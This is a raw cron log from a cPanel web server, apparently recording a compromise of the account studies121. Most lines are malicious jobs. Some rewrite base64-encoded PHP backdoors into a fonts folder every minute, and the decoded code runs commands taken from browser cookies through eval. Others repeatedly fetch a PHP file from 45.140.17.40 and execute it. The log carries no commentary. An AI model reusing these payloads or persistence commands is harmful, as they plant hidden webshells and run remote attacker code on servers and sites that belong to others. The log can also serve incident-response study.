Sep 11 03:57:01 ip-184-168-122-23 CROND[26027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:57:01 ip-184-168-122-23 CROND[26028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:57:01 ip-184-168-122-23 CROND[26029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:58:01 ip-184-168-122-23 CROND[26130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:58:01 ip-184-168-122-23 CROND[26131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:58:01 ip-184-168-122-23 CROND[26136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:58:01 ip-184-168-122-23 CROND[26134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:58:01 ip-184-168-122-23 CROND[26135]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:59:02 ip-184-168-122-23 CROND[26261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:59:02 ip-184-168-122-23 CROND[26265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:59:02 ip-184-168-122-23 CROND[26263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:59:02 ip-184-168-122-23 CROND[26266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:00:01 ip-184-168-122-23 CROND[26395]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:00:01 ip-184-168-122-23 CROND[26397]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 04:00:01 ip-184-168-122-23 CROND[26398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:00:01 ip-184-168-122-23 CROND[26401]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 04:00:01 ip-184-168-122-23 CROND[26402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:00:01 ip-184-168-122-23 CROND[26403]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:00:01 ip-184-168-122-23 CROND[26400]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:00:01 ip-184-168-122-23 CROND[26405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:00:01 ip-184-168-122-23 CROND[26406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:01:01 ip-184-168-122-23 CROND[26635]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26635]: starting 0anacron
Sep 11 04:01:01 ip-184-168-122-23 CROND[26643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:01:01 ip-184-168-122-23 CROND[26645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:01:01 ip-184-168-122-23 CROND[26648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:01:01 ip-184-168-122-23 CROND[26644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:01:01 ip-184-168-122-23 CROND[26647]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26654]: finished 0anacron
Sep 11 04:02:01 ip-184-168-122-23 CROND[26772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:02:02 ip-184-168-122-23 CROND[26774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:02:02 ip-184-168-122-23 CROND[26775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:02:02 ip-184-168-122-23 CROND[26776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:02:02 ip-184-168-122-23 CROND[26777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:03:01 ip-184-168-122-23 CROND[26902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:03:01 ip-184-168-122-23 CROND[26904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:03:01 ip-184-168-122-23 CROND[26903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:03:01 ip-184-168-122-23 CROND[26905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:04:01 ip-184-168-122-23 CROND[26998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:04:01 ip-184-168-122-23 CROND[27000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:04:01 ip-184-168-122-23 CROND[27002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:04:01 ip-184-168-122-23 CROND[27001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:04:01 ip-184-168-122-23 CROND[27003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:05:01 ip-184-168-122-23 CROND[27104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:05:01 ip-184-168-122-23 CROND[27106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:05:01 ip-184-168-122-23 CROND[27108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:05:01 ip-184-168-122-23 CROND[27110]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:05:01 ip-184-168-122-23 CROND[27107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:05:01 ip-184-168-122-23 CROND[27109]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 04:05:01 ip-184-168-122-23 CROND[27111]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:06:01 ip-184-168-122-23 CROND[27205]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:06:01 ip-184-168-122-23 CROND[27208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:06:01 ip-184-168-122-23 CROND[27210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:06:01 ip-184-168-122-23 CROND[27209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:06:01 ip-184-168-122-23 CROND[27211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:07:01 ip-184-168-122-23 CROND[27401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:07:01 ip-184-168-122-23 CROND[27403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:07:01 ip-184-168-122-23 CROND[27402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:07:01 ip-184-168-122-23 CROND[27404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:08:01 ip-184-168-122-23 CROND[27494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:08:01 ip-184-168-122-23 CROND[27496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:08:01 ip-184-168-122-23 CROND[27498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:08:01 ip-184-168-122-23 CROND[27497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:08:01 ip-184-168-122-23 CROND[27499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:09:01 ip-184-168-122-23 CROND[27626]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 04:09:01 ip-184-168-122-23 CROND[27628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:09:01 ip-184-168-122-23 CROND[27629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
